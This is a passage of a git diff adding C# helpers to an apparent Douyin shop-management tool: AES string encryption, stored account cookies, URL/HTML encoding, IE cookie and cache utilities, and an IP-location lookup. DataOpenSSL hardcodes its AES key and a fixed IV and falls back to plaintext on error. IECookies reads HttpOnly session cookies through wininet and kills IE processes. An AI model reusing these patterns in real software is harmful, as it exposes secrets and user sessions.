CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, encoding)) + { + return streamReader.ReadToEnd(); + } + } + } + } +} diff --git a/AllBase/Helper/DataOpenSSL.cs b/AllBase/Helper/DataOpenSSL.cs new file mode 100644 index 0000000..2325218 --- /dev/null +++ b/AllBase/Helper/DataOpenSSL.cs @@ -0,0 +1,142 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Helper +{ + + public class DataOpenSSL + { + public static byte[] key = new byte[32] { 145, 232, 156, 201, 201, 0, 42, 184, 222, 111, 109, 49, 226, 169, 9, 44, 151, 148, 143, 120, 62, 84, 30, 170, 127, 242, 20, 141, 231, 33, 230, 6 }; + public static byte[] iv = new byte[16] { 113, 6, 75, 177, 160, 112, 73, 39, 178, 147, 82, 107, 186, 58, 144, 187 }; + + public static string EncryptString(string plainText) + { + try + { + + // Instantiate a new Aes object to perform string symmetric encryption + Aes encryptor = Aes.Create(); + + encryptor.Mode = CipherMode.CBC; + + // Set key and IV + byte[] aesKey = new byte[32]; + Array.Copy(key, 0, aesKey, 0, 32); + encryptor.Key = aesKey; + encryptor.IV = iv; + + // Instantiate a new MemoryStream object to contain the encrypted bytes + MemoryStream memoryStream = new MemoryStream(); + + // Instantiate a new encryptor from our Aes object + ICryptoTransform aesEncryptor = encryptor.CreateEncryptor(); + + // Instantiate a new CryptoStream object to process the data and write it to the + // memory stream + CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write); + + // Convert the plainText string into a byte array + byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); + + // Encrypt the input plaintext string + cryptoStream.Write(plainBytes, 0, plainBytes.Length); + + // Complete the encryption process + cryptoStream.FlushFinalBlock(); + + // Convert the encrypted data from a MemoryStream to a byte array + byte[] cipherBytes = memoryStream.ToArray(); + + // Close both the MemoryStream and the CryptoStream + memoryStream.Close(); + cryptoStream.Close(); + + // Convert the encrypted byte array to a base64 encoded string + string cipherText = Convert.ToBase64String(cipherBytes, 0, cipherBytes.Length); + + + cipherText = cipherText.Replace("+", "-").Replace("/", "_").Replace("=", ""); + + // Return the encrypted data as a string + return cipherText; + + } + catch (Exception) + { + + //throw; + } + return plainText; + } + + public static string DecryptString(string cipherText) + { + cipherText = cipherText.Replace("-", "+").Replace("_", "/"); + var x1 = cipherText.Length % 4; + if (x1 > 0) + { + cipherText = cipherText + "====".Substring(x1); + } + // Instantiate a new Aes object to perform string symmetric encryption + Aes encryptor = Aes.Create(); + + encryptor.Mode = CipherMode.CBC; + + // Set key and IV + byte[] aesKey = new byte[32]; + Array.Copy(key, 0, aesKey, 0, 32); + encryptor.Key = aesKey; + encryptor.IV = iv; + + // Instantiate a new MemoryStream object to contain the encrypted bytes + MemoryStream memoryStream = new MemoryStream(); + + // Instantiate a new encryptor from our Aes object + ICryptoTransform aesDecryptor = encryptor.CreateDecryptor(); + + // Instantiate a new CryptoStream object to process the data and write it to the + // memory stream + CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write); + + // Will contain decrypted plaintext + string plainText = String.Empty; + + try + { + // Convert the ciphertext string into a byte array + byte[] cipherBytes = Convert.FromBase64String(cipherText); + + // Decrypt the input ciphertext string + cryptoStream.Write(cipherBytes, 0, cipherBytes.Length); + + // Complete the decryption process + cryptoStream.FlushFinalBlock(); + + // Convert the decrypted data from a MemoryStream to a byte array + byte[] plainBytes = memoryStream.ToArray(); + + // Convert the decrypted byte array to string + plainText = Encoding.UTF8.GetString(plainBytes, 0, plainBytes.Length); + } + catch (Exception) + { + + //throw; + } + finally + { + // Close both the MemoryStream and the CryptoStream + memoryStream.Close(); + cryptoStream.Close(); + } + + // Return the decrypted data as a string + return plainText; + } + } +} diff --git a/AllBase/Helper/FissionDataBaseConfig.cs b/AllBase/Helper/FissionDataBaseConfig.cs new file mode 100644 index 0000000..7c3f393 --- /dev/null +++ b/AllBase/Helper/FissionDataBaseConfig.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Helper +{ + public class FissionDataBaseConfig + { + public static List CateList = new List(); // 产品数据库分组名称列表 + public static List MainCateList = new List(); // 主类目列表 + } +} diff --git a/AllBase/Helper/GlobalConfig.cs b/AllBase/Helper/GlobalConfig.cs new file mode 100644 index 0000000..c3276ff --- /dev/null +++ b/AllBase/Helper/GlobalConfig.cs @@ -0,0 +1,49 @@ +using AllBase.Model.Param.CollectManage; +using AllBase.Model.Param.ProductManage; +using AllBase.Model.Param.ShopManage; +using AllBase.Model.Result; +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace AllBase.Helper +{ + public class GlobalConfig + { + /// + /// 店铺列表 + /// + public static ConcurrentList DouShopLoginList { get; set; } = new ConcurrentList(); + /// + /// 非当前账户下的店铺列表 + /// + public static ConcurrentList DouShopLoginOtherAccountList { get; set; } + /// + /// 店铺设置参数 + /// + public static DouShopSettingParam DouShopSettingParam { get; set; } + + /// + /// 抖音号cookie + /// + public static string DouUserCookies { get; set; } + + /// + /// 巨量百应cookies + /// + public static string DouBuyinCookies { get; set; } + + public static IDictionary dicLocalStorage { get; set; } + + public static IDictionary dicLocalDetailStorage { get; set; } + + public static FissionSettingParam FissionSettingParam { get; set; } + + public static string cAgentIpCode { get; } = "AFZ94w3a"; + + public static List SameProductCheckParamList { get; set; } + } +} diff --git a/AllBase/HttpUtility.cs b/AllBase/HttpUtility.cs new file mode 100644 index 0000000..6f3a0e0 --- /dev/null +++ b/AllBase/HttpUtility.cs @@ -0,0 +1,489 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Text; + +namespace AllBase +{ + public class HttpUtility + { + // Fields + private static char[] _htmlEntityEndingChars = new char[] { ';', '&' }; + + //Methods + public static string UrlEncode(string str, Encoding e) + { + if (str == null) + { + return null; + } + + return Encoding.ASCII.GetString(UrlEncodeToBytes(str, e)); + } + + public static byte[] UrlEncodeToBytes(string str, Encoding e) + { + if (str == null) + { + return null; + } + byte[] bytes = e.GetBytes(str); + return UrlEncode(bytes, 0, bytes.Length); + } + + static byte[] UrlEncode(byte[] bytes, int offset, int count) + { + int num = 0; + int num2 = 0; + for (int i = 0; i < count; i++) + { + char ch = (char)bytes[offset + i]; + if (ch == ' ') + { + num++; + } + else if (!IsUrlSafeChar(ch)) + { + num2++; + } + } + if ((num == 0) && (num2 == 0)) + { + return bytes; + } + byte[] buffer = new byte[count + (num2 * 2)]; + int num4 = 0; + for (int j = 0; j < count; j++) + { + byte num6 = bytes[offset + j]; + char ch2 = (char)num6; + if (IsUrlSafeChar(ch2)) + { + buffer[num4++] = num6; + } + else if (ch2 == ' ') + { + buffer[num4++] = 0x2b; + } + else + { + buffer[num4++] = 0x25; + buffer[num4++] = (byte)IntToHex((num6 >> 4) & 15); + buffer[num4++] = (byte)IntToHex(num6 & 15); + } + } + return buffer; + } + + public static bool IsUrlSafeChar(char ch) + { + if ((((ch >= 'a') && (ch <= 'z')) || ((ch >= 'A') && (ch <= 'Z'))) || ((ch >= '0') && (ch <= '9'))) + { + return true; + } + switch (ch) + { + case '(': + case ')': + case '*': + case '-': + case '.': + case '_': + case '!': + return true; + } + return false; + } + public static char IntToHex(int n) + { + if (n <= 9) + { + return (char)(n + 0x30); + } + return (char)((n - 10) + 0x61); + } + static public string UrlDecode(string value) + { + if (value == null) + { + return null; + } + Encoding encoding = Encoding.UTF8;//你的编码 也可能是GBK + int length = value.Length; + UrlDecoder decoder = new UrlDecoder(length, encoding); + for (int i = 0; i < length; i++) + { + char ch = value[i]; + if (ch == '+') + { + ch = ' '; + } + else if ((ch == '%') && (i < (length - 2))) + { + if ((value[i + 1] == 'u') && (i < (length - 5))) + { + int num3 = HexToInt(value[i + 2]); + int num4 = HexToInt(value[i + 3]); + int num5 = HexToInt(value[i + 4]); + int num6 = HexToInt(value[i + 5]); + if (((num3 < 0) || (num4 < 0)) || ((num5 < 0) || (num6 < 0))) + { + goto Label_010B; + } + ch = (char)((((num3 << 12) | (num4 << 8)) | (num5 << 4)) | num6); + i += 5; + decoder.AddChar(ch); + continue; + } + int num7 = HexToInt(value[i + 1]); + int num8 = HexToInt(value[i + 2]); + if ((num7 >= 0) && (num8 >= 0)) + { + byte b = (byte)((num7 << 4) | num8); + i += 2; + decoder.AddByte(b); + continue; + } + } + Label_010B: + if ((ch & 0xff80) == 0) + { + decoder.AddByte((byte)ch); + } + else + { + decoder.AddChar(ch); + } + } + return decoder.GetString(); + } + + public static int HexToInt(char h) + { + if ((h >= '0') && (h <= '9')) + { + return (h - '0'); + } + if ((h >= 'a') && (h <= 'f')) + { + return ((h - 'a') + 10); + } + if ((h >= 'A') && (h <= 'F')) + { + return ((h - 'A') + 10); + } + return -1; + } + /////////////////////////// + public static string HtmlEncode(string value) + { + if (string.IsNullOrEmpty(value)) + { + return value; + } + + StringWriter output = new StringWriter(CultureInfo.InvariantCulture); + HtmlEncode(value, output); + return output.ToString(); + } + + public static unsafe void HtmlEncode(string value, TextWriter output) + { + if (value != null) + { + if (output == null) + { + throw new ArgumentNullException("output"); + } + int num = IndexOfHtmlEncodingChars(value, 0); + if (num == -1) + { + output.Write(value); + } + else + { + int num2 = value.Length - num; + fixed (char* str = (value.ToCharArray())) + { + char* chPtr = str; + char* chPtr2 = chPtr; + while (num-- > 0) + { + chPtr2++; + output.Write(chPtr2[0]); + } + while (num2-- > 0) + { + chPtr2++; + char ch = chPtr2[0]; + if (ch <= '>') + { + switch (ch) + { + case '&': + { + output.Write("&"); + continue; + } + case '\'': + { + output.Write("'"); + continue; + } + case '"': + { + output.Write("""); + continue; + } + case '<': + { + output.Write("<"); + continue; + } + case '>': + { + output.Write(">"); + continue; + } + } + output.Write(ch); + continue; + } + if ((ch >= '\x00a0') && (ch < 'Ā')) + { + output.Write("&#"); + output.Write(ch.ToString(NumberFormatInfo.InvariantInfo)); + output.Write(';'); + } + else + { + output.Write(ch); + } + } + } + } + } + } + public static string HtmlDecode(string value) + { + if (string.IsNullOrEmpty(value)) + { + return value; + } + + StringWriter output = new StringWriter(CultureInfo.InvariantCulture); + HtmlDecode(value, output); + return output.ToString(); + } + + public static void HtmlDecode(string value, TextWriter output) + { + if (value != null) + { + if (output == null) + { + throw new ArgumentNullException("output"); + } + if (value.IndexOf('&') < 0) + { + output.Write(value); + } + else + { + int length = value.Length; + for (int i = 0; i < length; i++) + { + char ch = value[i]; + if (ch == '&') + { + int num3 = value.IndexOfAny(_htmlEntityEndingChars, i + 1); + if ((num3 > 0) && (value[num3] == ';')) + { + string entity = value.Substring(i + 1, (num3 - i) - 1); + if ((entity.Length > 1) && (entity[0] == '#')) + { + ushort num4; + if ((entity[1] == 'x') || (entity[1] == 'X')) + { + ushort.TryParse(entity.Substring(2), NumberStyles.AllowHexSpecifier, (IFormatProvider)NumberFormatInfo.InvariantInfo, out num4); + } + else + { + ushort.TryParse(entity.Substring(1), NumberStyles.Integer, (IFormatProvider)NumberFormatInfo.InvariantInfo, out num4); + } + if (num4 != 0) + { + ch = (char)num4; + i = num3; + } + } + else + { + i = num3; + char ch2 = HtmlEntities.Lookup(entity); + if (ch2 != '\0') + { + ch = ch2; + } + else + { + output.Write('&'); + output.Write(entity); + output.Write(';'); + goto Label_0117; + } + } + } + } + output.Write(ch); + Label_0117: ; + } + } + } + } + + private static unsafe int IndexOfHtmlEncodingChars(string s, int startPos) + { + int num = s.Length - startPos; + fixed (char* str = (s.ToCharArray())) + { + char* chPtr = str; + char* chPtr2 = chPtr + startPos; + while (num > 0) + { + char ch = chPtr2[0]; + if (ch <= '>') + { + switch (ch) + { + case '&': + case '\'': + case '"': + case '<': + case '>': + return (s.Length - num); + + case '=': + goto Label_0086; + } + } + else if ((ch >= '\x00a0') && (ch < 'Ā')) + { + return (s.Length - num); + } + Label_0086: + chPtr2++; + num--; + } + } + return -1; + } + + } + /// + /// class UrlDecoder + /// + class UrlDecoder + { + // Fields + private int _bufferSize; + private byte[] _byteBuffer; + private char[] _charBuffer; + private Encoding _encoding; + private int _numBytes; + private int _numChars; + + // Methods + internal UrlDecoder(int bufferSize, Encoding encoding) + { + this._bufferSize = bufferSize; + this._encoding = encoding; + this._charBuffer = new char[bufferSize]; + } + + internal void AddByte(byte b) + { + if (this._byteBuffer == null) + { + this._byteBuffer = new byte[this._bufferSize]; + } + this._byteBuffer[this._numBytes++] = b; + } + + internal void AddChar(char ch) + { + if (this._numBytes > 0) + { + this.FlushBytes(); + } + this._charBuffer[this._numChars++] = ch; + } + + private void FlushBytes() + { + if (this._numBytes > 0) + { + this._numChars += this._encoding.GetChars(this._byteBuffer, 0, this._numBytes, this._charBuffer, this._numChars); + this._numBytes = 0; + } + } + + internal string GetString() + { + if (this._numBytes > 0) + { + this.FlushBytes(); + } + if (this._numChars > 0) + { + return new string(this._charBuffer, 0, this._numChars); + } + return string.Empty; + } + } + /// + /// class HtmlEntities + /// + static class HtmlEntities + { + // Fields + private static string[] _entitiesList = new string[] { + "\"-quot", "&-amp", "'-apos", "<-lt", ">-gt", "\x00a0-nbsp", "\x00a1-iexcl", "\x00a2-cent", "\x00a3-pound", "\x00a4-curren", "\x00a5-yen", "\x00a6-brvbar", "\x00a7-sect", "\x00a8-uml", "\x00a9-copy", "\x00aa-ordf", + "\x00ab-laquo", "\x00ac-not", "\x00ad-shy", "\x00ae-reg", "\x00af-macr", "\x00b0-deg", "\x00b1-plusmn", "\x00b2-sup2", "\x00b3-sup3", "\x00b4-acute", "\x00b5-micro", "\x00b6-para", "\x00b7-middot", "\x00b8-cedil", "\x00b9-sup1", "\x00ba-ordm", + "\x00bb-raquo", "\x00bc-frac14", "\x00bd-frac12", "\x00be-frac34", "\x00bf-iquest", "\x00c0-Agrave", "\x00c1-Aacute", "\x00c2-Acirc", "\x00c3-Atilde", "\x00c4-Auml", "\x00c5-Aring", "\x00c6-AElig", "\x00c7-Ccedil", "\x00c8-Egrave", "\x00c9-Eacute", "\x00ca-Ecirc", + "\x00cb-Euml", "\x00cc-Igrave", "\x00cd-Iacute", "\x00ce-Icirc", "\x00cf-Iuml", "\x00d0-ETH", "\x00d1-Ntilde", "\x00d2-Ograve", "\x00d3-Oacute", "\x00d4-Ocirc", "\x00d5-Otilde", "\x00d6-Ouml", "\x00d7-times", "\x00d8-Oslash", "\x00d9-Ugrave", "\x00da-Uacute", + "\x00db-Ucirc", "\x00dc-Uuml", "\x00dd-Yacute", "\x00de-THORN", "\x00df-szlig", "\x00e0-agrave", "\x00e1-aacute", "\x00e2-acirc", "\x00e3-atilde", "\x00e4-auml", "\x00e5-aring", "\x00e6-aelig", "\x00e7-ccedil", "\x00e8-egrave", "\x00e9-eacute", "\x00ea-ecirc", + "\x00eb-euml", "\x00ec-igrave", "\x00ed-iacute", "\x00ee-icirc", "\x00ef-iuml", "\x00f0-eth", "\x00f1-ntilde", "\x00f2-ograve", "\x00f3-oacute", "\x00f4-ocirc", "\x00f5-otilde", "\x00f6-ouml", "\x00f7-divide", "\x00f8-oslash", "\x00f9-ugrave", "\x00fa-uacute", + "\x00fb-ucirc", "\x00fc-uuml", "\x00fd-yacute", "\x00fe-thorn", "\x00ff-yuml", "Œ-OElig", "œ-oelig", "Š-Scaron", "š-scaron", "Ÿ-Yuml", "ƒ-fnof", "ˆ-circ", "˜-tilde", "Α-Alpha", "Β-Beta", "Γ-Gamma", + "Δ-Delta", "Ε-Epsilon", "Ζ-Zeta", "Η-Eta", "Θ-Theta", "Ι-Iota", "Κ-Kappa", "Λ-Lambda", "Μ-Mu", "Ν-Nu", "Ξ-Xi", "Ο-Omicron", "Π-Pi", "Ρ-Rho", "Σ-Sigma", "Τ-Tau", + "Υ-Upsilon", "Φ-Phi", "Χ-Chi", "Ψ-Psi", "Ω-Omega", "α-alpha", "β-beta", "γ-gamma", "δ-delta", "ε-epsilon", "ζ-zeta", "η-eta", "θ-theta", "ι-iota", "κ-kappa", "λ-lambda", + "μ-mu", "ν-nu", "ξ-xi", "ο-omicron", "π-pi", "ρ-rho", "ς-sigmaf", "σ-sigma", "τ-tau", "υ-upsilon", "φ-phi", "χ-chi", "ψ-psi", "ω-omega", "ϑ-thetasym", "ϒ-upsih", + "ϖ-piv", " -ensp", " -emsp", " -thinsp", "‌-zwnj", "‍-zwj", "‎-lrm", "‏-rlm", "–-ndash", "—-mdash", "‘-lsquo", "’-rsquo", "‚-sbquo", "“-ldquo", "”-rdquo", "„-bdquo", + "†-dagger", "‡-Dagger", "•-bull", "…-hellip", "‰-permil", "′-prime", "″-Prime", "‹-lsaquo", "›-rsaquo", "‾-oline", "⁄-frasl", "€-euro", "ℑ-image", "℘-weierp", "ℜ-real", "™-trade", + "ℵ-alefsym", "←-larr", "↑-uarr", "→-rarr", "↓-darr", "↔-harr", "↵-crarr", "⇐-lArr", "⇑-uArr", "⇒-rArr", "⇓-dArr", "⇔-hArr", "∀-forall", "∂-part", "∃-exist", "∅-empty", + "∇-nabla", "∈-isin", "∉-notin", "∋-ni", "∏-prod", "∑-sum", "−-minus", "∗-lowast", "√-radic", "∝-prop", "∞-infin", "∠-ang", "∧-and", "∨-or", "∩-cap", "∪-cup", + "∫-int", "∴-there4", "∼-sim", "≅-cong", "≈-asymp", "≠-ne", "≡-equiv", "≤-le", "≥-ge", "⊂-sub", "⊃-sup", "⊄-nsub", "⊆-sube", "⊇-supe", "⊕-oplus", "⊗-otimes", + "⊥-perp", "⋅-sdot", "⌈-lceil", "⌉-rceil", "⌊-lfloor", "⌋-rfloor", "〈-lang", "〉-rang", "◊-loz", "♠-spades", "♣-clubs", "♥-hearts", "♦-diams" + }; + private static Dictionary _lookupTable = GenerateLookupTable(); + + // Methods + private static Dictionary GenerateLookupTable() + { + Dictionary dictionary = new Dictionary(StringComparer.Ordinal); + foreach (string str in _entitiesList) + { + dictionary.Add(str.Substring(2), str[0]); + } + return dictionary; + } + + public static char Lookup(string entity) + { + char ch; + _lookupTable.TryGetValue(entity, out ch); + return ch; + } + } +} diff --git a/AllBase/IECookies.cs b/AllBase/IECookies.cs new file mode 100644 index 0000000..e27bf77 --- /dev/null +++ b/AllBase/IECookies.cs @@ -0,0 +1,193 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Text; +using System.Windows.Forms; +using Microsoft.Win32; + +namespace AllBase +{ + /// + /// IE清理程序 + /// + public static class IECookies + { + [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool InternetGetCookieEx(string pchURL, string pchCookieName, StringBuilder pchCookieData, + ref System.UInt32 pcchCookieData, int dwFlags, IntPtr lpReserved); + + [DllImport("wininet.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern int InternetSetCookieEx(string lpszURL, string lpszCookieName, string lpszCookieData, + int dwFlags, IntPtr dwReserved); + + [DllImport("shell32.dll")] + static extern IntPtr ShellExecute(IntPtr hwnd, string lpOperation, string lpFile, string lpParameters, string lpDirectory, ShowCommands nShowCmd); + + + private const int INTERNET_COOKIE_HTTPONLY = 0x00002000; + + + [DllImport("wininet.dll", SetLastError = true)] + private static extern bool InternetGetCookieEx( + string url, + string cookieName, + StringBuilder cookieData, + ref int size, + int flags, + IntPtr pReserved); + /// + /// 获取当前webbrowser 下的cookies + /// + /// + /// + public static string GetCookieByWebBrowser(string url) + { + int size = 512; + StringBuilder sb = new StringBuilder(size); + if (!InternetGetCookieEx(url, null, sb, ref size, INTERNET_COOKIE_HTTPONLY, IntPtr.Zero)) + { + if (size < 0) + { + return null; + } + sb = new StringBuilder(size); + if (!InternetGetCookieEx(url, null, sb, ref size, INTERNET_COOKIE_HTTPONLY, IntPtr.Zero)) + { + return null; + } + } + return sb.ToString(); + } + /// + /// 获取webbrowser UserAgent + /// + /// + public static string GetUserAgent() + { + WebBrowser wb = new WebBrowser(); + wb.Navigate("about:blank"); + while (wb.IsBusy) Application.DoEvents(); + object window = wb.Document.Window.DomWindow; + Type wt = window.GetType(); + object navigator = wt.InvokeMember("navigator", BindingFlags.GetProperty, null, window, new object[] { }); + Type nt = navigator.GetType(); + object userAgent = nt.InvokeMember("userAgent", BindingFlags.GetProperty, null, navigator, new object[] { }); + return userAgent.ToString(); + } + + /// + /// 用IE打开网页 + /// + /// + public static void OpenUrlByIE(string url) + { + Process.Start("iexplore.exe", url); + } + /// + /// 关闭所有IE浏览器 + /// + public static void CloseIE() + { + foreach (Process thisproc in Process.GetProcesses()) + { + if (thisproc.ProcessName.ToLower() == "iexplore") + thisproc.Kill(); + } + } + + + /// + /// 获取IE下的cookies + /// + /// + /// + public static string GetCookies(string url) + { + uint datasize = 256; + StringBuilder cookieData = new StringBuilder((int)datasize); + if (!InternetGetCookieEx(url, null, cookieData, ref datasize, 0x2000, IntPtr.Zero)) + { + if (datasize < 0) + return null; + cookieData = new StringBuilder((int)datasize); + if (!InternetGetCookieEx(url, null, cookieData, ref datasize, 0x00002000, IntPtr.Zero)) + return null; + } + return cookieData.ToString(); + } + /// + /// 清除IE所有缓存 + /// + public static void ClearAll() + { + ShellExecute(IntPtr.Zero, "open", "rundll32.exe", " InetCpl.cpl,ClearMyTracksByProcess 8", "", ShowCommands.SW_HIDE); + } + + + public enum ShowCommands : int + { + SW_HIDE = 0, + SW_SHOWNOrmAL = 1, + SW_NOrmAL = 1, + SW_SHOWMINIMIZED = 2, + SW_SHOWMAXIMIZED = 3, + SW_MAXIMIZE = 3, + SW_SHOWNOACTIVATE = 4, + SW_SHOW = 5, + SW_MINIMIZE = 6, + SW_SHOWMINNOACTIVE = 7, + SW_SHOWNA = 8, + SW_RESTORE = 9, + SW_SHOWDEFAULT = 10, + SW_FORCEMINIMIZE = 11, + SW_MAX = 11 + } + /// + /// 通过注册表获取IE版本 + /// + /// + public static int GetIeVerson() + { + int mainVer = (new WebBrowser()).Version.Major; + return mainVer; + } + + /// + /// 设置WebBrower IE默认版本 + /// + /// + public static void SetWebBrowerIe(int version) + { + int de = 0x1B58; + if (version == 8) + de = 0x1F40; + if (version == 9) + de = 0x2328; + if (version == 10) + de = 0x2710; + if (version == 11) + de = 0x2af8; + + bool type = Environment.Is64BitOperatingSystem;//系统是否是64位 + var exeName = Process.GetCurrentProcess().ProcessName + ".exe"; + var hklm = Registry.LocalMachine; + string key = type + ? @"SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION" + : @"SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION"; + + try + { + var lmRun = hklm.OpenSubKey(key, true); + if (lmRun == null) + return; + lmRun.SetValue(exeName, de); //设置webbrowser调用IE最高版本内核打开 + } + catch + { + } + + } + + } +} diff --git a/AllBase/IPLocationSearch.cs b/AllBase/IPLocationSearch.cs new file mode 100644 index 0000000..c0cc0a8 --- /dev/null +++ b/AllBase/IPLocationSearch.cs @@ -0,0 +1,505 @@ +using System; +using System.IO; +using System.Text; + +namespace AllBase +{ + public class IPLocationSearch + { + private static readonly QQWry qq = new QQWry("qqwry.dat"); + + public static IPLocation GetIPLocation(string ip) + { + return qq.SearchIPLocation(ip); + } + } + + /* + 使用方法: + + 例子: + BDQQ.Data.QQWry qq=new BDQQ.Data.QQWry("d:\\QQWry.Dat"); + BDQQ.Data.IPLocation ip=qq.SearchIPLocation("127.0.0.1");//这里添写IP地址 + Console.WriteLine(ip.country);//国家 + Console.WriteLine(ip.area);//地区 + */ + + //以下是类文件 + //根据LumaQQ改写而成. + + /**/ + /// + /// QQWry 的摘要说明。 + /// + public class QQWry + { + //第一种模式 + #region 第一种模式 + /**/ + /// + ///第一种模式 + /// + #endregion + private const byte REDIRECT_MODE_1 = 0x01; + + //第二种模式 + #region 第二种模式 + /**/ + /// + ///第二种模式 + /// + #endregion + private const byte REDIRECT_MODE_2 = 0x02; + + //每条记录长度 + #region 每条记录长度 + /**/ + /// + ///每条记录长度 + /// + #endregion + private const int IP_RECORD_LENGTH = 7; + + //数据库文件 + #region 数据库文件 + /**/ + /// + ///文件对象 + /// + #endregion + private FileStream ipFile; + + private const string unCountry = "未知国家"; + private const string unArea = "未知地区"; + + //索引开始位置 + #region 索引开始位置 + /**/ + /// + ///索引开始位置 + /// + #endregion + private long ipBegin; + + //索引结束位置 + #region 索引结束位置 + /**/ + /// + ///索引结束位置 + /// + #endregion + private long ipEnd; + + //IP地址对象 + #region IP地址对象 + /**/ + /// + /// IP对象 + /// + #endregion + private IPLocation loc; + + //存储文本内容 + #region 存储文本内容 + /**/ + /// + ///存储文本内容 + /// + #endregion + private byte[] buf; + + //存储3字节 + #region 存储3字节 + /**/ + /// + ///存储3字节 + /// + #endregion + private byte[] b3; + + //存储4字节 + #region 存储4字节 + /**/ + /// + ///存储4字节IP地址 + /// + #endregion + private byte[] b4; + + //构造函数 + #region 构造函数 + /**/ + /// + ///构造函数 + /// + ///IP数据库文件绝对路径 + #endregion + public QQWry(string ipfile) + { + + buf = new byte[100]; + b3 = new byte[3]; + b4 = new byte[4]; + try + { + ipFile = new FileStream(ipfile, FileMode.Open); + } + catch (Exception ex) + { + throw new Exception(ex.Message); + } + ipBegin = readLong4(0); + ipEnd = readLong4(4); + loc = new IPLocation(); + } + + //根据IP地址搜索 + #region 根据IP地址搜索 + /**/ + /// + ///搜索IP地址搜索 + /// + /// + /// + #endregion + public IPLocation SearchIPLocation(string ip) + { + //将字符IP转换为字节 + string[] ipSp = ip.Split('.'); + if (ipSp.Length != 4) + { + throw new ArgumentOutOfRangeException("不是合法的IP地址!"); + } + byte[] IP = new byte[4]; + for (int i = 0; i < IP.Length; i++) + { + IP[i] = (byte)(Int32.Parse(ipSp[i]) & 0xFF); + } + + IPLocation local = null; + long offset = locateIP(IP); + + if (offset != -1) + { + local = getIPLocation(offset); + } + + if (local == null) + { + local = new IPLocation(); + local.area = unArea; + local.country = unCountry; + } + return local; + } + + //取得具体信息 + #region 取得具体信息 + /**/ + /// + ///取得具体信息 + /// + /// + /// + #endregion + private IPLocation getIPLocation(long offset) + { + ipFile.Position = offset + 4; + //读取第一个字节判断是否是标志字节 + byte one = (byte)ipFile.ReadByte(); + if (one == REDIRECT_MODE_1) + { + //第一种模式 + //读取国家偏移 + long countryOffset = readLong3(); + //转至偏移处 + ipFile.Position = countryOffset; + //再次检查标志字节 + byte b = (byte)ipFile.ReadByte(); + if (b == REDIRECT_MODE_2) + { + loc.country = readString(readLong3()); + ipFile.Position = countryOffset + 4; + } + else + loc.country = readString(countryOffset); + + //读取地区标志 + loc.area = readArea(ipFile.Position); + + } + else if (one == REDIRECT_MODE_2) + { + //第二种模式 + loc.country = readString(readLong3()); + loc.area = readArea(offset + 8); + } + else + { + //普通模式 + loc.country = readString(--ipFile.Position); + loc.area = readString(ipFile.Position); + } + return loc; + } + + //取得地区信息 + #region 取得地区信息 + /**/ + /// + ///读取地区名称 + /// + /// + /// + #endregion + private string readArea(long offset) + { + ipFile.Position = offset; + byte one = (byte)ipFile.ReadByte(); + if (one == REDIRECT_MODE_1 || one == REDIRECT_MODE_2) + { + long areaOffset = readLong3(offset + 1); + if (areaOffset == 0) + return unArea; + else + { + return readString(areaOffset); + } + } + else + { + return readString(offset); + } + } + + //读取字符串 + #region 读取字符串 + /**/ + /// + ///读取字符串 + /// + /// + /// + #endregion + private string readString(long offset) + { + ipFile.Position = offset; + int i = 0; + for (i = 0, buf[i] = (byte)ipFile.ReadByte(); buf[i] != (byte)(0); buf[++i] = (byte)ipFile.ReadByte()) ; + + if (i > 0) + return Encoding.Default.GetString(buf, 0, i); + else + return ""; + } + + //查找IP地址所在的绝对偏移量 + #region 查找IP地址所在的绝对偏移量 + /**/ + /// + ///查找IP地址所在的绝对偏移量 + /// + /// + /// + #endregion + private long locateIP(byte[] ip) + { + long m = 0; + int r; + + //比较第一个IP项 + readIP(ipBegin, b4); + r = compareIP(ip, b4); + if (r == 0) + return ipBegin; + else if (r < 0) + return -1; + //开始二分搜索 + for (long i = ipBegin, j = ipEnd; i < j; ) + { + m = this.getMiddleOffset(i, j); + readIP(m, b4); + r = compareIP(ip, b4); + if (r > 0) + i = m; + else if (r < 0) + { + if (m == j) + { + j -= IP_RECORD_LENGTH; + m = j; + } + else + { + j = m; + } + } + else + return readLong3(m + 4); + } + m = readLong3(m + 4); + readIP(m, b4); + r = compareIP(ip, b4); + if (r <= 0) + return m; + else + return -1; + } + + //读出4字节的IP地址 + #region 读出4字节的IP地址 + /**/ + /// + ///从当前位置读取四字节,此四字节是IP地址 + /// + /// + /// + #endregion + private void readIP(long offset, byte[] ip) + { + ipFile.Position = offset; + ipFile.Read(ip, 0, ip.Length); + byte tmp = ip[0]; + ip[0] = ip[3]; + ip[3] = tmp; + tmp = ip[1]; + ip[1] = ip[2]; + ip[2] = tmp; + } + + //比较IP地址是否相同 + #region 比较IP地址是否相同 + /**/ + /// + ///比较IP地址是否相同 + /// + /// + /// + ///0:相等,1:ip大于beginIP,-1:小于 + #endregion + private int compareIP(byte[] ip, byte[] beginIP) + { + for (int i = 0; i < 4; i++) + { + int r = compareByte(ip[i], beginIP[i]); + if (r != 0) + return r; + } + return 0; + } + + //比较两个字节是否相等 + #region 比较两个字节是否相等 + /**/ + /// + ///比较两个字节是否相等 + /// + /// + /// + /// + #endregion + private int compareByte(byte bsrc, byte bdst) + { + if ((bsrc & 0xFF) > (bdst & 0xFF)) + return 1; + else if ((bsrc ^ bdst) == 0) + return 0; + else + return -1; + } + + //根据当前位置读取4字节 + #region 根据当前位置读取4字节 + /**/ + /// + 